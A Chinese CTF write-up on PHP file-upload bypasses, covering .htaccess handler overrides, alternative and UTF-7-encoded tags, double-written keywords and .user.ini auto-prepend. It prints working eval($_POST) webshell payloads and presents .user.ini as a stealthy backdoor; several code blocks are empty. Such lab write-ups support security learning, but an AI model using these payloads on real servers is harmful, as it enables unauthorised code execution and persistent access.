文件上传漏洞
.htaccess任意文件解析
当服务器对上传文件的类型进行限制的时候,可以上传.htaccess文件重新配置文件的解析。简单来说,将不是.php文件解析成.php文件。比如上传的文件是1.jpg,可以用.htaccess文件将1.jpg解析成1.php。
.htaccess文件配置信息,将后缀为.aaa的文件均解析为php文件。
1 | AddType application/x-httpd-php .aaa//将.aaa换成其他比如.jpg就会将.jpg文件解析成.php文件 |
短标签绕过
这里会有版本的影响,JS只能在PHP5使用,PHP7不支持ASP
使用场景:当例如<?php被过滤了,就可以使用其他标签风格来编写。
- JS风格
1 | <script language="php">phpinfo();</script> |
- 短标签风格
1 | phpinfo(); |
<?=?>
与<?php echo ....?>
等效- ASP风格
1 | <% phpinfo();%> |
- 官方默认风格
1 | phpinfo(); |
例如upload2
尝试直接上传一个一句话木马
发现说此文件不允许上传,一般来说都不会允许上传php文件的。所以先上传一个.htaccess
再上传一句话木马
显示Can’t upload php file。那就换一个短标签。
1 | <script language="php">@eval($_POST['cmd']);</script> |
上传成功。连蚁剑找到flag
特殊编码绕过(UTF-7)
如果程序过滤了所有标签形式、或者说过滤了<?
而且PHP是在PHP7以上版本(PHP7已经将其他标签形式过淘汰,仅剩下<?php
形式),我们就使用UTF-7进行编码,然后再使用.htaccess对UTF-7编码的文件进行解码。
例如upload4
- .htaccess
1 | AddType application/x-httpd-php .aaa |
- mua.aaa
1 | +ADw?php +AEA-eval(+ACQAXw-POST+AFs'a'+AF0)+ADs?+AD4- |
上传.htaccess
上传mua.aaa
拿flag
双写绕过
假如上传的内容被检测出来且替换为空,则可以使用双写绕过。例如:文件中的php、eval等被匹配检测出来并替换为空,我们就将内容写成pphp、eevalval,这样就可以在替换完之后,变成php、eval。
例如upload3
先上传一个.htaccess解析文件再说
1 | AddType application/x-httpd-php .aaa |
上传成功。
再上传一个标准的一句话木马
1 |
|
结果弹出一个下载mua.aaa窗口,下载回来看看。
结果发现,php,eval,post都没了。应该就是被检测到敏感字符并被替换成空了。试试双写上传。
1 | pphphp |
下载回来看到:
正常,但是不能运行。原因是.htaccess文件里的php也被替换成空了。再双写上传一次:
1 | AddType application/x-httpd-pphphp .aaa |
成功拿到flag
.user.ini绕过
执行php文件时,会扫描每个目录的ini文件,范围就是从所在文件目录开始一直上升到根目录。所以 .user.ini实际上就是一个可以由用户“自定义”的一个php.ini文件。
.user.ini配置项里有一个auto_prepend_file。作用是指定一个文件,自动包含在要执行的文件前,类似于在文件前调用了require()函数。
注意:要用到.user.ini必须在文件夹里有php文件。
使用方法:
1 | auto_prepend_file=01.gif //01.gif是要包含的文件 |
新建一个目录test,包含.user.ini、01.gif、test.php三个文件
.user.ini
01.gif
1 |
|
test.php
1 |
|
测试结果:
所以这是一个留后门很好的方法,隐秘性也很高。
.htaccess文件换行绕过
上传的.htaccess文件内容被过滤时,可以对内容进行换行绕过。因为.htaccess支持换行编写。
例如upload6
上传时发现出错,报告“内容不能有application”。那就是被检测到阻止上传。换行内容上传试试。
上传成功了。再上传一句话木马。
动态拼接函数绕过函数过滤
例题:upload7
先扫一扫目录,发现有备份文件
下载备份文件。
将文件名改成.index.php.swp在Linux下用vim打开
R恢复源码
获得源码
1 |
|
阅读代码后,知道对危险函数进行了过滤,这时候可以使用aiisc码拼接动态构造函数来绕过。
上传.htaccess
1 | AddType application/x-httpd-php .aaa |
上传mua.aaa
1 | <?php |
拿flag